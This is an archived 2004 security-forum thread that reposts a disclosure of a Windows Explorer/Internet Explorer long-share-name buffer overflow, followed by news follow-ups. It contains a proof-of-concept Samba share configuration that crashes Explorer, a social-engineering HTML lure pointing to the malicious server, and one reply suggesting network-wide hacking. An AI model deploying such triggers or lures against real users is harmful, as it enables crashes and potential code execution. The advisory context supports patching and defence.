Ms Explorer And Ie Long Share Name Buffer Overflow

Full Version: Ms Explorer And Ie Long Share Name Buffer Overflow

GovernmentSecurity.org > The Archives > Exploit Articles

qcred11

Apr 26 2004, 02:47 PM

QUOTE

Microsoft Explorer and Internet Explorer Long Share Name Buffer Overflow.

Author: Rodrigo Gutierrez <rodrigo@intellicomp.cl>

Affected: MS Internet Explorer, MS Explorer (explorer.exe)
Windows XP(All), Windows 2000(All), Windows 98(All), Windows me(All)

Not Tested: Windows 2003

Vendor Status: i notified the vendor in the beginning of 2002, this
vulnerability was supposed to be fixed in xp service
pack 1 in XP and SP4 in Windows 2000 according to the
vendors knowledge base article 322857.

Vendor url: http://support.microsoft.com/default.aspx?...kb;en-us;322857

Background.

MS Explorer (explorer.exe) and MS Internet Explorer(IEXPLORE.EXE) are
core pieces of Microsoft Windows Operating Systems.

Description

Windows fails to handle long share names when accessing a remote
file server such as samba, allowing a malicious server to crash the
clients explorer and eventually get to execute arbitrary code in the
machine as the current user (usually with Administrator rights in windows
machines).

Analysis

In order to exploit this, an attacker must be able to get a user to connect
to a malicious server which contains a share name equal or longer than 300
characters.

Test Scenario

windows wont allow you to create such a long share, but of course samba
includes the feature

. After your samba box is up and running create a
share in you smb.conf :

#------------ CUT HERE -------------

[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA]
comment = Area 51
path = /tmp/testfolder
public = yes
writable = yes
printable = no
browseable = yes
write list = @trymywingchung

#------------ CUT HERE -------------

After your server is up, just get to your windows test box and get to the
start menu > run > \\your.malicious.server.ip., plufff, explorer will crash

.

Social Engineering:

<a href="\\my.malicious.server.ip">Enter My 0day sploit archive l/p:n0ph33r</a>

Workaround.

>From your network card settings disable the client for Microsoft networks
until a real fix for this vulnerability is available.

VincentVega

Apr 27 2004, 04:22 PM

From local networkso this can be usefull to hack a whole network!

I also read it today here:

hxxp://secunia.com/advisories/11482/

qcred11

Apr 27 2004, 08:05 PM

Look what INQUIRER wrote about it. It's a serious bug...

QUOTE

Internet Explorer

Exploits of our time

By INQUIRER staff: Tuesday 27 April 2004, 09:13

JUST IN CASE you don't know, Internet Explorer and Windows need frequent patching, a software term for kind of fixing things, an awful lot.
Secunia said that there is a highly critical problem with IE and Windows, due to a boundary error which can be exploited by others.

It warns that the hole affects Windows 95, 98, ME and NT 4.0, as well as 2000 and Windows XP.

This is a serious problem and Secunia reckons one way round it is to disable Client for Microsoft Networks for NICs.

This is a bit of a problem if you're trying to share files

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.